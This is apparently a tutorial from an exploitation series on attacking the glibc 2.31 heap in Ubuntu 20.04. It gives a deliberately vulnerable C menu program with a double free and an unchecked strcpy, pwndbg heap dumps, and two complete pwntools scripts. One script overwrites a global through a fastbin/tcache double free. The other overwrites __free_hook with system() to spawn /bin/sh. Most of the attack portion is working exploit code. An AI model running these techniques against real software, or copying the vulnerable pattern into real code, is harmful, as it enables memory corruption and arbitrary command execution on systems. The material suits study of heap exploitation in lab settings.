Introduction
In this article, we’re going to look at exploiting glibc 2.31 heap allocation in Ubuntu 20.04.
Previously we looked at fastbin exploitation, and tcache exploition in older versions of Ubuntu. It’s recommended to read those articles before this one.
Key points to remember:
- Fastbins contain a double free check which is relatively simple to bypass by executing free() on another chunk before freeing our initial chunk.
- The tcache didn’t have a check similar to the above fastbin check in older releases, but that is included in current versions of glibc.
- The fastbins size field is checked to ensure it’s within the fastbin range (under 0x80).
Vulnerable Application Code
As before, we have a simple application which allows a user to call malloc() and free().
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char target[7] = "target";
int main () {
// Create an array to store heap pointers
char* heap_array[20];
for(int i=0; i<sizeof(heap_array)/sizeof(void*); i++)
heap_array[i] = (char *)0x0;
setvbuf(stdout,(char *)0x0,2,0);
printf("puts() @ %p\n",puts);
int i;
int ChunkNumber = 0;
for (i = 1; i < 50; ++i)
{
int selection;
printf("Target : %s\n", target);
printf("Next chunk number: %d/21 \n", ChunkNumber);
printf("1) malloc\n");
printf("2) free\n");
printf("3) quit\n");
printf(">");
scanf("%d", &selection);
switch(selection){
case 1:
// Allow user to call malloc() and write data.
int mallocSize;
char inputData[256];
printf ("malloc size: \n");
scanf("%d", &mallocSize);
printf ("input data: \n");
scanf("%s", inputData);
char *heapChunk;
heap_array[ChunkNumber] = (char *) malloc(mallocSize);
strcpy(heap_array[ChunkNumber],inputData);
printf("chunk allocated: %d/7 \n", ChunkNumber);
ChunkNumber++;
break;
case 2:
// Allow user to free() chunk
printf("Select chunk to free: ");
scanf("%d", &selection);
printf("Freeing chunk: %d\n", selection);
free(heap_array[selection]);
break;
case 3:
exit(0);
break;
default:
printf("Invalid selection\n");
break;
}
}
return(0);
}
Analysing the Heap
The tcache has a set number of chunks it will store before it reverts back to using the fastbin. This is typically 7, but you can verify this using the pwndbg “mp” command:
pwndbg> mp
{
trim_threshold = 131072,
top_pad = 131072,
mmap_threshold = 131072,
arena_test = 8,
arena_max = 0,
n_mmaps = 0,
n_mmaps_max = 65536,
max_n_mmaps = 0,
no_dyn_threshold = 0,
mmapped_mem = 0,
max_mmapped_mem = 0,
sbrk_base = 0x404000 "",
tcache_bins = 64,
tcache_max_bytes = 1032,
tcache_count = 7,
tcache_unsorted_limit = 0
}
Allocating eight chunks then freeing them confirms this behaviour, with one of the chunks ending up in the fastbin.
pwndbg> vis_heap_chunks
0x404000 0x0000000000000000 0x0000000000000291 ................
0x404010 0x0000000000000007 0x0000000000000000 ................
<truncated>
0x4052a0 0x0000000000000000 0x0000000000000021 ........!.......
0x4052b0 0x0000000000000000 0x0000000000404010 .........@@..... <-- tcachebins[0x20][6/7]
0x4052c0 0x0000000000000000 0x0000000000000021 ........!.......
0x4052d0 0x00000000004052b0 0x0000000000404010 .R@......@@..... <-- tcachebins[0x20][5/7]
0x4052e0 0x0000000000000000 0x0000000000000021 ........!.......
0x4052f0 0x00000000004052d0 0x0000000000404010 .R@......@@..... <-- tcachebins[0x20][4/7]
0x405300 0x0000000000000000 0x0000000000000021 ........!.......
0x405310 0x00000000004052f0 0x0000000000404010 .R@......@@..... <-- tcachebins[0x20][3/7]
0x405320 0x0000000000000000 0x0000000000000021 ........!.......
0x405330 0x0000000000405310 0x0000000000404010 .S@......@@..... <-- tcachebins[0x20][2/7]
0x405340 0x0000000000000000 0x0000000000000021 ........!.......
0x405350 0x0000000000405330 0x0000000000404010 0S@......@@..... <-- tcachebins[0x20][1/7]
0x405360 0x0000000000000000 0x0000000000000021 ........!.......
0x405370 0x0000000000405350 0x0000000000404010 PS@......@@..... <-- tcachebins[0x20][0/7]
0x405380 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x405390 0x0000000000000000 0x0000000000000000 ................
0x4053a0 0x0000000000000000 0x000000000001fc61 ........a....... <-- Top chunk
pwndbg> bins
tcachebins
0x20 [ 7]: 0x405370 —▸ 0x405350 —▸ 0x405330 —▸ 0x405310 —▸ 0x4052f0 —▸ 0x4052d0 —▸ 0x4052b0 ◂— 0x0
fastbins
0x20: 0x405380 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
Next we call malloc() seven times to empty the tcache bin, and call free() on the chunk currently residing in the fastbin. Doing so means the chunk in the fastbin is then also placed in the tcachebin.
Remember the fastbin always points to the data header, whereas the tcache points to the start of user data. Because of this, if we request the tcache chunk we end up overwriting the forward pointer of the fastbin entry (first QWORD of line 2 below).
0x405380 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x405390 0x0000000000000000 0x0000000000404010 .........@@..... <-- tcachebins[0x20][0/1]
0x4053a0 0x0000000000000000 0x000000000001fc61 ........a....... <-- Top chunk
pwndbg> bins
tcachebins
0x20 [ 1]: 0x405390 ◂— 0x0
fastbins
0x20: 0x405380 ◂— 0x0
Next, we need to inject a pointer to memory we wish to overwrite.
Since we’re dealing with a fastbin chunk, 16 bytes will need to be subtracted to account for the chunk header. Another two bytes will need to be subtracted to ensure the forward pointer is set to null.
pwndbg> dq &target-0x18
0000000000403410 0000000000000000 0000000000000000
0000000000403420 0000000000000000 0000000000000000
0000000000403430 0000000000403240 0000000000000000
0000000000403440 0000000000000000 00007ffff7e60850
malloc(24, pack(elf.sym.target – 0x18)) # injects memory address 0x4034a0
0x405380 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x405390 0x00000000004034a0 0x0000000000000000 .4@.............
0x4053a0 0x0000000000000000 0x000000000001fc61 ........a....... <-- Top chunk
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x405380 —▸ 0x4034a0 ◂— 0x0
As in previous examples, calling malloc twice will then allow us to overwrite the target pointer:
chunk allocated: 17
Target : PWND
Next chunk number: 18/21
1) malloc
2) free
3) quit
Exploit Code
To execute in debugging use the following command:
python3 arbitary_write.py NOASLR GDB DEBUG
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF("./test")
libc = ELF(b"/lib/x86_64-linux-gnu/libc-2.31.so")
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
index = 0
def malloc(size, data):
global index
io.sendline(b"1")
io.sendlineafter(b"malloc size:", f"{size}".encode())
io.sendlineafter(b"input data:", data)
index += 1
return index - 1
def free(index):
io.recvuntil(b">")
io.sendline(b"2")
io.sendlineafter(b"Select chunk to free:", f"{index}".encode())
io.recvuntil(b">")
io = start()
io.timeout = 2.0
io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil(b">")
# Request 7 chunks
for n in range(7):
malloc(24, b"A" * 8)
# Request another chunk which lands in fastbin
badchunk = malloc(24, b"B" * 8)
# Fill the 0x20 tcachebin.
for n in range(7):
free(n)
#put a chunk in the fastbin
free(badchunk)
#empty tcache bin
for n in range(7):
malloc(24, b"A"*8)
# double free fastbin chunk into tcache
free(badchunk)
# malloc will request the chunk from tcache will still exists in fastbin. Overwrite fastbin FD with target.
malloc(24, pack(elf.sym.target - 0x18))
print(hex(elf.sym.target - 0x18))
malloc(24, b"A"*8 )
malloc(24, "B" * 8 + "PWND")
print("DONE")
io.interactive()
Command Execution
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF("./test")
libc = ELF(b"/lib/x86_64-linux-gnu/libc-2.31.so")
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
index = 0
def malloc(size, data):
global index
io.sendline(b"1")
io.sendlineafter(b"malloc size:", f"{size}".encode())
io.sendlineafter(b"input data:", data)
index += 1
return index - 1
def free(index):
io.recvuntil(b">")
io.sendline(b"2")
io.sendlineafter(b"Select chunk to free:", f"{index}".encode())
io.recvuntil(b">")
io = start()
io.timeout = 2.0
io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil(b">")
# Request 7 chunks
for n in range(7):
malloc(24, b"A" * 8)
# Request another chunk which lands in fastbin
badchunk = malloc(24, b"B" * 8)
# Fill the 0x20 tcachebin.
for n in range(7):
free(n)
#put a chunk in the fastbin
free(badchunk)
#empty tcache bin
for n in range(7):
malloc(24, b"filler")
# double free fastbin chunk into tcache
free(badchunk)
malloc(24, pack(libc.sym.__free_hook - 16))
binsh = malloc(24, "/bin/sh\0")
malloc(24, pack(libc.sym.system))
free(binsh)
print("DONE")
io.interactive()
Resulting command execution: